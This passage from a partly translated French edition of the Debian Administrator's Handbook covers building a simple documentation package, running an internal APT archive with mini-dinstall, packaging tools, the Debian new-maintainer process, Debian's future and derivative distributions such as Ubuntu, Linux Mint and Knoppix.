Build-Depends: debhelper-compat (= 13)

Standards-Version: 4.5.1

Rules-Requires-Root: no

Package: falcot-data

Architecture: all

Depends: firefox-esr | www-browser, ${misc:Depends}

Description: Internal Falcot Corp Documentation

This package provides several documents describing the internal

structure at Falcot Corp.  This includes:

- organization diagram

- contacts for each department.

.

These documents MUST NOT leave the company.

Their use is INTERNAL ONLY.

Exemple 15.4. Le fichier changelog

falcot-data (1.0) bullseye; urgency=low

* Initial Release.

* Let's start with few documents:

- internal company structure;

- contacts for each department.

-- Raphael Hertzog <hertzog@debian.org>  Sat, 26 Feb 2022 15:12:06 +0100

Exemple 15.5. Le fichier copyright

Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

Upstream-Name: falcot-data

Files: *

Copyright: 2004-2021 Falcot Corp

License:

All rights reserved.

B.A.-BA Fichier Makefile

Un fichier Makefile est un script détaillant au programme make les règles nécessaires pour reconstruire des fichiers issus d'un réseau de dépendances (un programme, fruit de la compilation de fichiers sources, en est un exemple). Le fichier Makefile contient la liste de ces règles en respectant le format suivant :

cible: source1 source2 ...

commande1

commande2

The basic interpretation of such a rule is as follows: if one of the source* files is more recent than the target file, then the target needs to be generated, using command1 and command2.

Attention, un caractère de tabulation doit impérativement précéder toutes les commandes. Sachez aussi que si la ligne de commande débute par un signe moins (-), la commande peut échouer sans que tout le processus avorte.

Le fichier rules contient normalement un ensemble de règles employées pour configurer, compiler et installer le logiciel dans un sous-répertoire dédié (portant le nom du paquet binaire généré). Le contenu de ce sous-répertoire est ensuite intégré au paquet Debian comme s'il était la racine du système de fichiers. Dans le cas qui nous concerne, les fichiers seront installés dans le répertoire debian/falcot-data/usr/share/falcot-data/ pour que les documents ainsi diffusés soient disponibles sous /usr/share/falcot-data/ dans le paquet généré. Le fichier rules est de type Makefile avec quelques cibles standardisées (notamment clean et binary, respectivement pour nettoyer et produire le binaire).

Bien que ce fichier soit au cœur du processus, il est fréquent qu'il ne contienne que le strict minimum pour lancer un ensemble standardisé de commandes qui sont fournies par le paquet debhelper. C'est le cas dans le fichier préparé par dh_make. Pour installer nos fichiers, nous allons simplement modifier le comportement de la commande dh_install en créant le fichier debian/falcot-data.install :

data/* usr/share/falcot-data/

At this point, the package can be created. We will, however, add a lick of paint. Since the administrators want the documents to be easily accessed from the menus of graphical desktop environments, we add a falcot-data.desktop file and get it installed in /usr/share/applications by adding a second line to debian/falcot-data.install.

Exemple 15.6. Le fichier falcot-data.desktop

[Desktop Entry]

Name=Internal Falcot Corp Documentation

Comment=Starts a browser to read the documentation

Name[fr]=Documentation interne Falcot SA

Comment[fr]=Lance un navigateur pour lire la documentation

Exec=x-www-browser /usr/share/falcot-data/index.html

Terminal=false

Type=Application

Categories=Documentation;

Le fichier debian/falcot-data.install mis à jour ressemble donc à ceci :

data/* usr/share/falcot-data/

falcot-data.desktop usr/share/applications/

Our source package is now ready. All that is left to do is to generate the binary package, with the same method we used previously for rebuilding packages: we run the dpkg-buildpackage -us -uc command from within the falcot-data-1.0 directory.

15.3. Créer une archive de paquets pour APT

Les administrateurs de Falcot SA maintiennent désormais un certain nombre de paquets Debian modifiés ou créés par eux et qui leur servent à diffuser des données et programmes internes.

Pour faciliter leur déploiement, ils souhaitent les intégrer dans une archive de paquets directement utilisable par APT. Pour des raisons évidentes de maintenance, ils désirent y séparer les paquets internes des paquets officiels recompilés. Les entrées qui correspondraient à cette situation dans un fichier /etc/apt/sources.list.d/falcot.list seraient les suivantes :

deb http://packages.falcot.com/ updates/

deb http://packages.falcot.com/ internal/

Les administrateurs configurent donc un hôte virtuel sur leur serveur HTTP interne. La racine de l'espace web associé est /srv/vhosts/packages/. Pour gérer ces archives, ils ont décidé d'employer le programme mini-dinstall (du paquet éponyme). Celui-ci scrute un répertoire d'arrivée incoming/ (en l'occurrence, il s'agira de /srv/vhosts/packages/mini-dinstall/incoming/) pour y récupérer tout paquet Debian déposé et l'installer dans une archive Debian (dont le répertoire est /srv/vhosts/packages/). Ce programme fonctionne en traitant les fichiers .changes créés lors de la génération d'un paquet Debian. Un tel fichier contient en effet la liste de tous les autres fichiers associés à cette version du paquet (.deb, .dsc, .diff.gz/debian.tar.gz, .orig.tar.gz ou fichiers équivalents utilisant d'autres outils de compression) et indique donc à mini-dinstall quels fichiers installer. Accessoirement, ce fichier reprend le nom de la distribution de destination (c'est souvent unstable) indiquée en tête du fichier debian/changelog, information utilisée par mini-dinstall pour décider de l'emplacement d'installation du paquet. C'est la raison pour laquelle les administrateurs doivent systématiquement modifier ce champ avant la génération d'un paquet et y placer internal ou updates, selon l'emplacement souhaité. mini-dinstall génère alors les fichiers indispensables au bon fonctionnement d'APT, par exemple Packages.gz.

ALTERNATIVE apt-ftparchive, aptly, and reprepro

Si l'emploi de mini-dinstall semble trop complexe par rapport à vos besoins de création d'une archive Debian, il est possible d'utiliser directement le programme apt-ftparchive. Ce dernier inspecte le contenu d'un répertoire et affiche sur sa sortie standard le contenu du fichier Packages correspondant. Pour reprendre le cas de Falcot SA, les administrateurs pourraient directement déposer les paquets dans /srv/vhosts/packages/updates/ ou /srv/vhosts/packages/internal/ et exécuter les commandes suivantes pour créer les fichiers Packages.gz :

$ cd /srv/vhosts/packages

$ apt-ftparchive packages updates >updates/Packages

$ gzip updates/Packages

$ apt-ftparchive packages internal >internal/Packages

$ gzip internal/Packages

La commande apt-ftparchive sources crée de manière similaire les fichiers Sources.gz.

reprepro and aptly are more advanced tools for the same purpose. They can produce, manage and synchronize a number of package repositories, mirror other repositories, even cherry-pick packages from official repositories and provide them locally, create signatures of the generated package indices and thus provide signed repositories. reprepro stores packages and checksums in a Berkeley DB database file, so no database server is needed. aptly provides the same functionality, but it can be easier in handling. Unfortunately, both projects, although probably the most feature-rich solutions, are not actively developed at the moment.

reprepro comes with a lot of documentation and examples in /usr/share/doc/reprepro/, while aptly has a vast online documentation.

→ https://www.aptly.info/

La configuration de mini-dinstall nécessite de mettre en place un fichier ~/.mini-dinstall.conf, que les administrateurs de Falcot SA ont renseigné comme suit :

[DEFAULT]

archive_style = flat

archivedir = /srv/vhosts/packages

verify_sigs = 0

mail_to = admin@falcot.com

generate_release = 1

release_origin = Falcot SA

release_codename = stable

[updates]

release_label = Recompiled Debian Packages

[internal]

release_label = Internal Packages

Il est intéressant d'y remarquer la décision de générer des fichiers Release pour chacune des archives. Cela permettra éventuellement de gérer les priorités d'installation des paquets à l'aide du fichier de configuration /etc/apt/preferences (voir Section 6.2.5, « Gérer les priorités associées aux paquets » pour les détails).

SÉCURITÉ mini-dinstall et droits

Since mini-dinstall has been designed to run as a regular user, there is no need to run it as root. The easiest way is to configure everything within the user account belonging to the administrator in charge of creating the Debian packages. Since only this administrator has the required permissions to put files in the incoming/ directory, we can deduce that the administrator authenticated the origin of each package prior to deployment and mini-dinstall does not need to do it again. This explains the verify_sigs = 0 parameter (which means that signatures need not be verified). However, if the contents of packages are sensitive, we can reverse the setting and elect to authenticate with a keyring containing the public keys of persons allowed to create packages (configured with the extra_keyrings parameter); mini-dinstall will then check the origin of each incoming package by analyzing the signature integrated to the *.changes file.

L'exécution de mini-dinstall démarre en fait le démon en arrière-plan. Tant qu'il fonctionne, il vérifie toutes les demi-heures si un nouveau paquet est disponible dans le répertoire incoming/, le place dans l'archive et régénère les différents fichiers Packages.gz et Sources.gz. Si la présence d'un démon constitue un problème, il est possible de l'invoquer en mode non interactif (ou batch), à l'aide de l'option -b, à chaque fois qu'un paquet aura été déposé dans le répertoire incoming/. Découvrez les autres possibilités offertes par mini-dinstall en consultant sa page de manuel mini-dinstall(1).

COMPLÉMENTS Générer une archive signée

Les outils APT effectuent par défaut une vérification d'une chaîne de signatures cryptographiques apposées sur les paquets qu'ils manipulent, avant de les installer, dans le but de s'assurer de leur authenticité (voir la Section 6.6, « Vérification d'authenticité des paquets »). Les archives APT privées posent alors problème, car les machines qui doivent les utiliser vont sans arrêt afficher des messages d'avertissement pour signaler que les paquets que ces archives contiennent ne sont pas signés. Il est donc souvent judicieux de s'assurer que même les archives privées bénéficient du mécanisme secure APT.

mini-dinstall propose pour cela l'option de configuration release_signscript, qui permet de spécifier un script à utiliser pour générer la signature. On pourra par exemple utiliser le script sign-release.sh fourni par le paquet mini-dinstall dans /usr/share/doc/mini-dinstall/examples/, après l'avoir éventuellement adapté aux besoins locaux.

15.4. Devenir mainteneur de paquet

15.4.1. Apprendre à faire des paquets

Creating a quality Debian package is not always a simple task, and becoming a package maintainer takes some learning, both with theory and practice in technical and legal matters. It is not a simple matter of building and installing software; rather, the bulk of the complexity comes from understanding the problems and conflicts, and more generally the interactions, with the myriad of other packages available.

15.4.1.1. Les règles

A Debian package must comply with the precise rules compiled in the Debian policy, and each package maintainer must know them. There is no requirement to know them by heart, but rather to know they exist and to refer to them whenever a choice presents a non-trivial alternative. Every Debian maintainer has made mistakes by not knowing about a rule, but this is not a huge problem as long as the error gets fixed when a user reports it as a bug report (which tends to happen fairly soon thanks to advanced users). The Standards-Version field in debian/control specifies the version of the Debian policy with which a package complies. Maintainers should comply to the latest version of the Debian policy.

→ https://www.debian.org/doc/debian-policy/

15.4.1.2. Les procédures

Debian n'est pas une collection de paquets réalisés individuellement. Le travail de chacun s'inscrit dans un projet collectif et, à ce titre, on ne peut être développeur Debian et ignorer le fonctionnement global de la distribution. Tôt ou tard, chaque développeur doit interagir avec d'autres volontaires. La référence du développeur Debian (paquet developers-reference-fr) reprend tout ce qu'il faut savoir pour interagir au mieux avec les différentes équipes du projet et profiter au maximum des ressources mises à disposition. Ce document précise également un certain nombre de devoirs que chaque développeur se doit de remplir.

→ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. Les outils

Toute une panoplie d'outils aide les responsables de paquets dans leur travail. Ce chapitre les décrit rapidement sans détailler leur emploi, car ils sont tous bien documentés.

15.4.1.3.1. devscripts

Le paquet devscripts contient de nombreux programmes couvrant bien des aspects du travail d'un développeur Debian :

- debuild sert à générer un paquet (dpkg-buildpackage) et à vérifier dans la foulée s'il est conforme à la charte Debian (lintian).

- debclean nettoie un paquet source après la génération d'un paquet binaire.

- dch permet d'éditer facilement un fichier debian/changelog dans un paquet source.

- uscan vérifie si l'auteur amont a publié une nouvelle version de son logiciel. Ce programme nécessite un fichier debian/watch décrivant l'emplacement de publication de ces archives.

- debi installe (dpkg -i) le paquet Debian qui vient d'être généré (sans devoir saisir son nom complet).

- debc sert à consulter le contenu (dpkg -c) du paquet qui vient d'être généré (sans devoir saisir son nom complet).

- bts controls the bug tracking system from the command line; this program automatically generates the appropriate emails.
→ https://www.debian.org/Bugs/server-refcard

- debrelease envoie la nouvelle version du paquet sur un serveur distant sans devoir saisir le nom complet du fichier .changes concerné.

- debsign signe les fichiers .dsc et .changes.

- uupdate crée automatiquement une nouvelle révision du paquet lors de la publication d'une nouvelle version amont.

All of the mentioned commands are documented in their respective manual pages. They can further be configured per user in one file: ~/.devscripts.

15.4.1.3.2. debhelper et dh-make

Debhelper is a set of scripts easing the creation of policy-compliant packages; these scripts are invoked from debian/rules. Debhelper has been widely adopted within Debian, as evidenced by the fact that it is used by the majority of official Debian packages. All the commands it contains have a dh_ prefix. Each of them is documented in a manual page. The different compatibility levels and common options are described in debhelper(7).

Le script dh_make (du paquet dh-make) intègre les fichiers nécessaires à la génération d'un paquet Debian dans un répertoire contenant les sources d'un logiciel. Les fichiers qu'il ajoute utilisent debhelper de manière standard, comme son nom le laisse supposer.

15.4.1.3.3. lintian

This tool is one of the most important: it is the Debian package checker. It is based on a large array of tests created from the Debian policy, and detects quickly and automatically many errors that can then be fixed before packages are released.

Cet outil ne fournit qu'une aide et il arrive qu'il se trompe (la charte Debian évolue parfois, lintian peut alors être momentanément en retard). Par ailleurs, il n'est pas exhaustif : qu'il ne signale aucune erreur ne signifie pas qu'un paquet est parfait, tout au plus qu'il évite les erreurs les plus communes.

15.4.1.3.4. piuparts

Il s'agit d'un autre outil important : il automatise l'installation, la mise à jour, la suppression et la purge d'un paquet (dans un environnement isolé) et vérifie qu'aucune de ces opérations n'entraîne d'erreur. Il peut aider à détecter les dépendances manquantes et détecte également lorsque des fichiers subsistent de manière inattendue après que le paquet a été purgé.

15.4.1.3.5. autopkgtest

autopkgtest runs tests on binary packages, using the tests supplied in the source package in debian/tests/. Several commands allow the easy creation of chrooted or virtual test environments.

15.4.1.3.6. reprotest

reprotest builds the same source code twice in different environments, and then checks the binaries produced by each build for differences. If any are found, then diffoscope (if unavailable, diff) is used to display them in detail for later analysis.

15.4.1.3.7. dupload et dput

The dupload and dput commands allow uploading a Debian package to a (possibly remote) server. This allows developers to publish their package on the main Debian server (ftp-master.debian.org) so that it can be integrated to the archive and distributed by mirrors. These commands take a .changes file as a parameter, and deduce the other relevant files from its contents.

15.4.1.3.8. git-buildpackage and dgit

The project has been using various version control systems over the years to store packaging efforts or package source code, or allow collaborative package maintenance. In an effort to unify the systems and efforts, it was ultimately decided in 2017 to move (almost) all package sources into Git (CULTURE Git) onto a Gitlab instance called salsa.debian.org.

→ https://salsa.debian.org/

To make packaging using Git easier for Debian developers, tools have been developed. These allow not only to store the packaging files in Git, but also to use the Git repositories (and their history) of software projects, put patches applied to package sources into Git history, maintain software versions per distribution, etc.

One of the most famous packages is git-buildpackage. An alternative is dgit. Of course it is still possible to use neither of those.

Below is an example for a ~/.gbp.conf configuration file

[DEFAULT]

builder = sbuild -d bullseye --build-dep-resolver=aptitude -s --source-only-changes --build-failed-commands "%SBUILD_SHELL"

pristine-tar = true

[buildpackage]

sign-tags = true

keyid = XXXX

postbuild  = autopkgtest --user debci --apt-upgrade -s "$GBP_CHANGES_FILE" -- lxc --sudo autopkgtest-bullseye-amd64

export-dir = /tmp/build-area/

notify = off

[import-orig]

filter-pristine-tar = true

sign-tags = true

[pq]

drop = true

Building the package is then as easy as running gbp buildpackage in the Git tree. It will start a package build in a Debian Bullseye chroot using sbuild. When the build succeeds, the created files are checked running the autopkgtest-testsuite (if defined). All the various options are explained in gbp.conf(5) and /etc/git-buildpackage/gbp.conf.

All the tools mentioned so far have been included in the continuous integration (CI) process in the salsa.debian.org instance as well:

→ https://salsa.debian.org/salsa-ci-team/pipeline

15.4.2. Processus d'acceptation

Ne devient pas développeur Debian qui veut. Différentes étapes jalonnent le processus d'acceptation, qui se veut autant un parcours initiatique qu'une sélection. Ce processus est formalisé et chacun peut suivre sa progression sur le site web des nouveaux mainteneurs (nm est l'abréviation de New Maintainer).

→ http://nm.debian.org/

COMPLÉMENTS Processus allégé pour les « Mainteneurs Debian »

Un statut de « Mainteneur Debian » (Debian Maintainer, DM) a été introduit. Le processus associé est plus léger et les droits que ce statut accorde se restreignent à pouvoir maintenir ses propres paquets. Il suffit qu'un développeur Debian vérifie préalablement tout nouveau paquet et qu'il indique qu'il considère le mainteneur capable de gérer son paquet tout seul.

15.4.2.1. Prérequis

Il est demandé à tous les candidats de maîtriser un minimum l'anglais. Cela est nécessaire à tous les niveaux : dans un premier temps pour communiquer avec l'examinateur, mais c'est aussi la langue de prédilection pour une grande partie de la documentation. De plus, les utilisateurs de vos paquets communiqueront avec vous en anglais pour vous signaler des bogues et il faudra être capable de leur répondre.

Le deuxième prérequis porte sur la motivation. Il faut être pleinement conscient que la démarche consistant à devenir développeur Debian n'a de sens que si vous savez par avance que Debian restera un sujet d'intérêt pendant de nombreux mois. En effet, la procédure en elle-même dure plusieurs mois et Debian a besoin de mainteneurs qui s'inscrivent dans la durée, car chaque paquet a besoin d'un mainteneur en permanence (et pas seulement lorsqu'il est créé).

15.4.2.2. Inscription

La première étape (réelle) consiste à trouver un sponsor, ou avocat (advocate) ; c'est un développeur officiel qui affirme « je pense que l'acceptation de X serait une bonne chose pour Debian ». Cela implique normalement que le candidat ait déjà été actif au sein de la communauté et que quelqu'un ait apprécié son travail. Si le candidat est timide et n'affiche pas en public le fruit de son travail, il peut tenter de convaincre individuellement un développeur Debian officiel de le soutenir en lui présentant ses travaux en privé.

En parallèle, le candidat doit se générer une biclé (paire publique-privée) RSA avec GnuPG, qu'il doit faire signer par au moins deux développeurs Debian officiels. La signature certifie l'authenticité du nom présent sur la clé. En effet, lors d'une séance de signature de clés, il est d'usage de présenter des papiers d'identité (habituellement une carte d'identité ou un passeport) et les identifiants de ses clés pour officialiser la correspondance entre la personne physique et les clés. Cette signature nécessite donc une rencontre réelle ; si vous n'avez pas encore eu l'occasion de croiser un développeur Debian lors d'une manifestation de logiciels libres, il est possible de solliciter expressément les développeurs en demandant qui serait dans la région concernée par le biais de la liste de diffusion <debian-devel-french@lists.debian.org>. Il existe également une liste de personnes disponibles pour signer des clés, organisée par pays et par ville.

→ http://wiki.debian.org/Keysigning

Une fois l'inscription sur nm.debian.org validée par le sponsor, un Application Manager (« gestionnaire de candidature ») sera chargé de suivre le candidat dans ses démarches et de réaliser les différentes vérifications prévues dans le processus.

La première vérification est celle de l'identité. Si vous avez une clé signée par un développeur Debian, cette étape est facile. Dans le cas contraire, l'Application Manager essaiera de guider le candidat dans sa recherche de développeurs Debian à proximité de chez lui pour qu'une rencontre et une signature de clés puissent être arrangées.

15.4.2.3. Acceptation des principes

Ces formalités administratives sont suivies de considérations philosophiques. Il est question de s'assurer que le candidat comprend le contrat social et les principes du logiciel libre. En effet, il n'est pas possible de rejoindre Debian si l'on ne partage pas les valeurs qui unissent les développeurs actuels, exprimées dans les deux textes fondateurs (et résumées au Chapitre 1, Le projet Debian).

En plus de cela, il est souhaité que chaque personne qui rejoint les rangs de Debian connaisse déjà son fonctionnement et sache interagir comme il se doit pour résoudre les problèmes qu'elle rencontrera au fil du temps. Toutes ces informations sont généralement documentées dans les divers manuels ciblant les nouveaux mainteneurs, mais aussi et surtout dans le guide de référence du développeur Debian. Une lecture attentive de ce document devrait suffire pour répondre aux questions de l'examinateur. Si les réponses ne sont pas satisfaisantes, il le fera savoir et invitera le candidat à se documenter davantage avant de retenter sa chance. Si la documentation ne semble pas répondre à la question, c'est qu'un peu de pratique au sein de Debian permet de découvrir la réponse par soi-même (éventuellement en discutant avec d'autres développeurs Debian). Ce mécanisme entraîne les gens dans les rouages de Debian avant de pouvoir totalement prendre part au projet. C'est une politique volontaire et les gens qui arrivent finalement à rejoindre le projet s'intègrent comme une pièce supplémentaire d'un puzzle extensible à l'infini.

Cette étape est couramment désignée par le terme de Philosophy & Procedures (P&P) dans le jargon des personnes impliquées dans le processus d'acceptation de nouveaux mainteneurs.

15.4.2.4. Vérification des compétences

Chaque demande pour devenir développeur Debian officiel doit être justifiée. En effet, on ne devient membre que si l'on peut démontrer que ce statut est légitime et qu'il permettra de faciliter le travail du candidat. La justification habituelle est que le statut de développeur Debian facilite la maintenance d'un paquet Debian, mais elle n'est pas universelle. Certains développeurs rejoignent le projet pour contribuer à un portage sur une architecture, d'autres pour contribuer à la documentation, etc.

Cette étape est donc l'occasion pour chaque candidat d'affirmer ce qu'il a l'intention de réaliser dans le cadre de Debian et de montrer ce qu'il a déjà fait dans ce sens. Debian privilégie en effet le pragmatisme et il ne suffit pas de dire quelque chose pour le faire prendre en compte : il faut montrer sa capacité à faire ce qui a été annoncé. En général, lorsqu'il s'agit de mise en paquet, il faudra montrer une première version du paquet et trouver un parrain (parmi les développeurs officiels) qui contrôle sa réalisation technique et l'envoie sur le serveur principal de Debian.

COMMUNAUTÉ Parrainage

Le parrainage (ou sponsoring) est un mécanisme par lequel un développeur Debian ou un mainteneur Debian vérifie un paquet préparé par quelqu'un d'autre et y appose sa signature pour le publier dans les dépôts officiels. Il permet ainsi à des personnes externes au projet, n'ayant pas suivi la procédure des nouveaux mainteneurs, de contribuer ponctuellement au projet, tout en garantissant que les paquets réellement inclus dans Debian ont toujours subi une vérification par un membre officiel.

Finally, the examiner checks the candidate's technical (packaging) skills with a detailed questionnaire. Bad answers are not permitted, but the answer time is not limited. All the documentation is available and several attempts are allowed if the first answers are not satisfactory. This step does not intend to discriminate, but to ensure at least a modicum of knowledge common to new contributors.

Cette étape se nomme Tasks & Skills (T&S en abrégé) dans le jargon des examinateurs.

15.4.2.5. Approbation finale

La toute dernière étape est la validation du parcours par un DAM (Debian Account Manager, ou gestionnaire des comptes Debian). Il consulte les informations fournies à propos du candidat par l'examinateur et prend la décision de lui créer ou non un compte sur les serveurs Debian. Parfois, il temporisera cette création dans l'attente d'informations supplémentaires s'il le juge nécessaire. Les refus sont assez rares si l'examinateur a bien fait son travail d'encadrement, mais ils se produisent parfois. Ils ne sont jamais définitifs et le candidat est libre de retenter sa chance ultérieurement.

La décision du DAM est souveraine et quasiment incontestable. C'est pourquoi les responsables concernés ont souvent été la cible de critiques par le passé.

Chapitre 16. Conclusion : l'avenir de Debian

L'histoire de Falcot SA s'arrête, pour le moment, avec ce dernier chapitre. En revanche, celle de Debian continue et l'avenir nous réserve à coup sûr de nombreuses et agréables surprises.

16.1. Développements à venir

Now that Debian version 11 is out, the developers are already busy working on the next version, codenamed Bookworm…

There is no official list of all planned changes, and Debian never makes promises relating to technical goals of the coming versions. However, a few development trends and discussion topics can already be noted, and we can try to guess what might happen (or not). Some of the expected changes are documented in the Debian 11 release notes:

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#deprecated-components

Beyond usual deprecation of some software components, it is worth pointing out that Debian is in the process of switching to what is known as a merged-usr filesystem: in this scheme /bin, /sbin and /lib are symlinks pointing to the corresponding directories in /usr. This improves compatibility between all Unix systems, makes us closer of having all Debian-supplied files in a single top-level directory that can be easily protected, snapshotted or shared. You can learn more about the benefits here:

→ https://www.freedesktop.org/wiki/Software/systemd/TheCaseForTheUsrMerge/

This important change is not without creating issues: dpkg will have to learn about those aliased directories, but the dpkg maintainer doesn't like the technical solution deployed by Debian and hasn't yet made the required changes. The Debian technical committee's help has been requested multiple times already. Their last decision can be found here:

→ https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=994388#110

apt-key will become obsolete. The key management for third party repositories should only rely on keys found in /etc/apt/trusted.gpg.d or configured via Signed-By as described in Section 6.6, « Vérification d'authenticité des paquets ».

For some tasks the default software solution will change. As an example: plocate might be a faster and smaller replacement for mlocate. systemd will continue to add new features that help to standardize the boot process and system management, allowing us to get rid of some other software in the base system.

Of course all the main software suites will have a major release. The latest version of the various desktops will bring better usability and new features.

The default permission of home directories will be more restrictive, allowing only the user to access their files.

Developments which already began will continue: Improve build reproducibility and security for example. With the widespread use of continuous integration and the growth of the archive (and of the biggest packages!), the constraints on release architectures will be harder to meet and architectures will be dropped.

16.2. Avenir de Debian

En dehors de ces développements internes, il est probable que de nouvelles distributions fondées sur Debian verront le jour grâce aux nombreux outils qui simplifient cette tâche. Par ailleurs, de nouveaux sous-projets spécifiques naîtront, élargissant toujours le spectre des domaines couverts par Debian.

La communauté des utilisateurs Debian se sera étoffée et de nouveaux contributeurs rejoindront le projet... dont vous serez peut-être !

There are recurring discussions about how the software ecosystem is evolving, towards applications shipped within containers, where Debian packages have no added value, or with language-specific package managers (e.g. pip for Python, npm for JavaScript, etc.), which are rendering dpkg and apt obsolete. Facing those threats, I am convinced that Debian developers will find ways to embrace those changes and to continue to provide value to users.

Malgré son ancienneté et sa taille déjà importante, Debian continue de croître et d'évoluer dans de nombreuses directions — certaines sont d'ailleurs inattendues. Les contributeurs ne manquent jamais d'idées et les discussions sur les listes de développement — même si parfois elles ressemblent à des chamailleries — ne cessent d'alimenter la machine. Certains comparent même Debian à un trou noir : sa densité est telle qu'elle attire systématiquement tout nouveau projet libre.

Beyond the apparent satisfaction of most Debian users, a deep trend is becoming more and more indisputable: people (and companies!) are increasingly realizing that collaborating, rather than working alone in their corner, leads to better results for everyone. The number of commercial companies relying on Debian is larger every year.

Le projet Debian n'est donc pas près de disparaître…

16.3. Avenir de ce livre

We would like this book to evolve in the spirit of free software. We therefore welcome contributions, remarks, suggestions, and criticism. Please direct them to Raphaël (<hertzog@debian.org>) or Roland (<lolando@debian.org>). For actionable feedback, feel free to open bug reports against the debian-handbook Debian package. The website will be used to gather all information relevant to its evolution, and you will find there information on how to contribute, in particular if you want to translate this book to make it available to an even larger public than today.

→ https://debian-handbook.info/

→ https://bugs.debian.org/src:debian-handbook

Nous avons essayé d'intégrer tout ce que notre expérience avec Debian nous a fait découvrir, afin que tout un chacun puisse utiliser cette distribution et en tirer le meilleur profit le plus rapidement possible. Nous espérons que ce livre contribue à la démystification et à la popularisation de Debian. N'hésitez donc pas à le recommander !

We would like to conclude on a personal note. Writing (and translating) this book took a considerable amount of time out of our usual professional activity. Since we are both freelance consultants, any new source of income grants us the freedom to spend more time improving Debian; we hope this book to be successful and to contribute to this. In the meantime, feel free to retain our services!

→ https://www.freexian.com

→ https://www.gnurandal.com

À bientôt !

Annexe A. Distributions dérivées

De nombreuses distributions dérivent de Debian et emploient ses outils de gestion de paquets. Chacune présente des particularités intéressantes et l'une d'elles comblera peut-être vos attentes.

A.1. Recensement et coopération

Le projet Debian a pleinement conscience du rôle important des distributions dérivées et souhaite faciliter la coopération. Il s'agit de réintégrer les améliorations développées par ces distributions pour que tout le monde en bénéficie et pour simplifier le travail de maintenance à long terme.

C'est pourquoi les distributions dérivées sont invitées à prendre part aux discussions sur la liste debian-derivatives@lists.debian.org et à participer à un recensement. Ce dernier a pour objectif de collecter des informations sur le travail effectué dans la distribution dérivée, afin que les mainteneurs Debian officiels puissent plus facilement voir l'état de leur paquet dans la distribution en question.

→ https://wiki.debian.org/DerivativesFrontDesk

→ https://wiki.debian.org/Derivatives/Census

Faisons maintenant un tour d'horizon des distributions dérivées les plus intéressantes et les plus populaires.

A.2. Ubuntu

L'arrivée d’Ubuntu sur la scène du logiciel libre n'est pas passée inaperçue. Et pour cause : la société Canonical Ltd. qui a créé cette distribution a embauché une trentaine de développeurs Debian en affichant l'ambitieux objectif de faire une distribution pour le grand public et de publier une nouvelle version tous les 6 mois. Ils promettent par ailleurs d’entretenir chaque version pendant 18 mois.

Pour parvenir à leurs objectifs, ils se concentrent sur un nombre de logiciels plus restreint que ceux de Debian et s'appuient essentiellement sur GNOME (bien qu'il existe des dérivés d'Ubuntu intégrant d'autres environnements de bureau). Tout est internationalisé et disponible dans un grand nombre de langues, dont le français.

So far, Ubuntu has managed to keep this release rhythm. They also publish Long Term Support (LTS) releases, with a 5-year maintenance promise. As of April 2021, the current LTS version is version 20.04, nicknamed Focal Fossa. The last non-LTS version is version 21.04, nicknamed Hirsute Hippo. Version numbers describe the release date: 21.04, for example, was released in April 2021.

EN PRATIQUE La promesse d'assistance et maintenance d'Ubuntu

Canonical a changé plusieurs fois les règles portant sur la durée de la période durant laquelle une version donnée est maintenue. En tant que société, Canonical promet actuellement de fournir des mises à jour de sécurité sur tous les logiciels inclus dans les sections main et restricted de l'archive Ubuntu pendant 5 ans (pour les versions « Long Term Support » ou LTS) et 9 mois pour les versions non LTS. Tout le reste (notamment les sections universe et multiverse) est maintenu sur la base du volontariat par les membres de l'équipe MOTU (Masters Of The Universe). Si vous dépendez de logiciels qui sont dans ces dernières sections, vous devez être prêts à en assurer la maintenance de sécurité vous-même.

Le succès d'Ubuntu est évident auprès du grand public. La distribution a conquis plusieurs millions d'utilisateurs grâce à sa facilité d'installation et au travail effectué pour rendre le poste bureautique plus simple à l'usage.

Ubuntu et Debian entretenaient une relation tendue ; les développeurs Debian qui espéraient beaucoup d'Ubuntu en termes d'améliorations directes apportées à Debian, ont été exaspérés par la différence entre le marketing de Canonical, qui laissait entendre qu'ils étaient de bons citoyens du logiciel libre, et leurs pratiques réelles se limitant à la mise à disposition des changements effectués aux paquets Debian. Les choses se sont arrangées au fil des années, et Ubuntu a maintenant généralisé la pratique de l'envoi de correctifs au bon endroit (ceci n'est vrai que pour les logiciels externes qu'ils mettent en paquet et pas pour les logiciels spécifiques à Ubuntu tel que Mir et Unity).

→ https://www.ubuntu.com/

A.3. Linux Mint

Linux Mint est une distribution (semi-)communautaire financée par des dons et la publicité. Leur produit phare est basé sur Ubuntu, mais il existe une variante, Linux Mint Debian Edition (LMDE), qui est basée sur Debian Stable avec quelques rétroportages. LMDE est disponible en 32 et 64 bits.

Dans les deux cas, l'installation initiale implique l’amorçage d’un d'un DVD ou d'un périphérique de stockage USB autonomes.

La distribution se fixe pour objectif de « simplifier l'usage de technologies avancées » et fournit des interfaces graphiques spécifiques qui se greffent par dessus les logiciels habituels. Ainsi, Linux Mint s'appuie sur Cinnamon par défaut au lieu de GNOME (MATE et Xfce sont également inclus) ; de même, bien que s'appuyant sur APT, la gestion des mises à jour passe par une interface spécifique avec une évaluation du risque associé à chaque mise à jour de paquet.

Linux Mint inclut de nombreux logiciels propriétaires pour assurer la meilleure expérience possible à l'utilisateur, notamment Adobe Flash et des « codecs multimédias ».

→ https:/linuxmint.com/

A.4. Knoppix

La distribution Knoppix n'a presque plus besoin d'être présentée. Elle a popularisé le concept de live CD : il s'agit d'un CD-Rom amorçable qui démarre directement un système Linux fonctionnel et prêt à l'emploi, sans nécessiter de disque dur — tout système déjà présent sur la machine sera donc laissé intact. L'auto-détection des périphériques permet à cette distribution de fonctionner avec presque toutes les configurations matérielles. Le CD-Rom contient près de 1 Go de logiciels compressés, et le DVD-Rom près de 4,5 Go.

Si vous cumulez ce CD-Rom avec une clé USB, vous pourrez emmener vos fichiers avec vous et travailler sur n'importe quel ordinateur sans laisser de trace — rappelons que la distribution n'utilise pas du tout le disque dur. Knoppix utilise LXDE (un bureau graphique peu gourmand en ressources) par défaut, mais la version sur DVD-Rom inclut également GNOME et Plasma. De nombreuses autres distributions proposent d'autres combinaisons de logiciels. Il est en effet relativement aisé de créer un live CD grâce à l'outil live-build fourni par Debian.

→ https://live-team.pages.debian.net/live-manual/

